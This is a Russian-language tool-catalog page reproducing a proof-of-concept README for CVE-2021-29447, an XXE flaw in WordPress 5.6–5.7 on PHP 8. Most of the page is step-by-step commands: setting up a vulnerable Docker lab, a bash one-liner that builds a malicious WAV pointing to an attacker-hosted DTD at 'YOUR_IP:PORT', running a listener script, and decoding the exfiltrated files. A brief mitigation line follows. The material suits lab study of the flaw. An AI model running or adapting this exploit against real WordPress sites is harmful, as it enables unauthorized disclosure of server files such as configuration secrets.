Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2021-29447-PoC — Эксплуатационный PoC для CVE-2021-29447, уязвимости внедрения XXE в WordPress 5.6–5.7 через загрузку вредоносного WAV-файла, позволяющей раскрытие произвольных файлов на PHP 8.0+. | Kitploit
Инструменты/GitHubGitHub/rdana55/cve-2021-29447-poc
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеОбучение и Образование
GitHubrdana55/cve-2021-29447-poc

CVE-2021-29447-PoC

Эксплуатационный PoC для CVE-2021-29447, уязвимости внедрения XXE в WordPress 5.6–5.7 через загрузку вредоносного WAV-файла, позволяющей раскрытие произвольных файлов на PHP 8.0+.

Репозиторий
3 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2021-29447-PoC

Обзор

CVE-2021-29447 — это уязвимость внедрения внешних XML-сущностей (XXE), затрагивающая версии WordPress 5.6–5.7 (исправлена в 5.7.1) при работе на PHP 8.0+. Уязвимость находится в библиотеке getID3, используемой для разбора метаданных медиафайлов.

WordPress обрабатывает iXML-чанки WAV-файлов через getID3, который вызывает simplexml_load_string() с флагом LIBXML_NOENT. Этот флаг явно включает подстановку внешних сущностей, обходя стандартные защиты от XXE в PHP 8 (устаревшая функция libxml_disable_entity_loader()).

  1. Аутентифицированный пользователь (Author+) загружает вредоносный WAV-файл.
  2. getID3 → iXML-чанк → simplexml_load_string(XXE_PAYLOAD, LIBXML_NOENT)
  3. Получение внешнего DTD → обёртка PHP data:// → раскрытие произвольных файлов

Настройка Proof-of-Concept

Этот PoC демонстрирует уязвимость с использованием Docker-контейнера WordPress 5.7 + PHP 8.0.3. Пользователи Linux могут использовать однофайловый скрипт, который также генерирует файлы WAV/DTD.

▶️: https://youtu.be/YnGowuWHFyY

Предварительные требования и настройка окружения

  1. Установите Docker Desktop на хост с Windows.

  2. Создайте выделенную директорию проекта (все команды PowerShell выполняются здесь):

    root@kitploit:~
     #powershell
    mkdir cve-2021-29447-poc
     cd cve-2021-29447-poc
    
  3. Разверните уязвимую версию WordPress:

    root@kitploit:~
     #powershell
     notepad docker-compose.yml
    

    Скопируйте и вставьте содержимое docker-compose.yml

  4. Запустите контейнеры:

    root@kitploit:~
     #powershell
     docker-compose up -d
    
  5. Отключите автоматические обновления (критически важно для сохранения уязвимости):

    root@kitploit:~
     #powershell
     docker-compose exec wordpress bash
    
     #bash
     sed -i "s/WP_AUTO_UPDATE_CORE', true/WP_AUTO_UPDATE_CORE', false/g" /var/www/html/wp-config-sample.php
    
     echo "define('AUTOMATIC_UPDATER_DISABLED', true);" >> /var/www/html/wp-config-sample.php
     echo "define('WP_AUTO_UPDATE_CORE', false);" >> /var/www/html/wp-config-sample.php
    
     tail -5 /var/www/html/wp-config-sample.php
     exit
    
  6. Проверьте версии:

    root@kitploit:~
     #powershell
     docker-compose exec wordpress bash -c "grep wp_version /var/www/html/wp-includes/version.php && php -v"
    

    Ожидается: WordPress 5.7, PHP 8.0+

  7. Установка WordPress:

    Перейдите: http://localhost:8080

    Администратор: test / test / [email protected]

    Завершите установку → Откройте /wp-admin

  8. Определение IP-адреса атакующего:

    root@kitploit:~
     #powershell
     ipconfig | findstr IPv4
    

    Запомните ваш IP (например, 192.168.1.196)

Генерация полезной нагрузки эксплойта

  1. Создайте DTD-полезную нагрузку:

    root@kitploit:~
     #powershell
     notepad evil.dtd
    

    Скопируйте и вставьте содержимое evil.dtd

  2. Сгенерируйте WAV-файл с полезной нагрузкой (интерфейс командной строки Linux):

    root@kitploit:~
    #bash
     echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://YOUR_IP:PORT/evil.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav
    

    Передайте через python3 -m http.server 8000 → загрузите через браузер Windows (например, http://<VM_IP>:8000)

    Примечание: WAV создаётся отдельно из-за сложности с бинарным экранированием в среде Windows

  3. Запустите сервер эксплойта:

    root@kitploit:~
     #powershell
     notepad exploit.py
    

    Скопируйте и вставьте содержимое exploit.py

    Команда:

    root@kitploit:~
     #powershell
     python exploit.py -l YOUR_IP -p PORT 
    

Эксплуатация

  1. Активируйте XXE:

    http://localhost:8080/wp-admin → Медиафайлы → Добавить новый

    Загрузите payload.wav

  2. Наблюдайте вывод сервера Python -> зафиксируйте перехваченные данные

  3. Декодируйте полезную нагрузку Base64+Zlib:

    root@kitploit:~
     #powershell
     $bd='PASTE_BASE64_HERE';$bytes=[Convert]::FromBase64String($bd);$decoded=[System.IO.Compression.DeflateStream]::new([System.IO.MemoryStream]::new($bytes,$false),[System.IO.Compression.CompressionMode]::Decompress);[System.IO.StreamReader]::new($decoded).ReadToEnd()
    

Смягчение

Обновитесь до WordPress 5.7.1+ или отключите LIBXML_NOENT в разборе getID3.

Скачать инструмент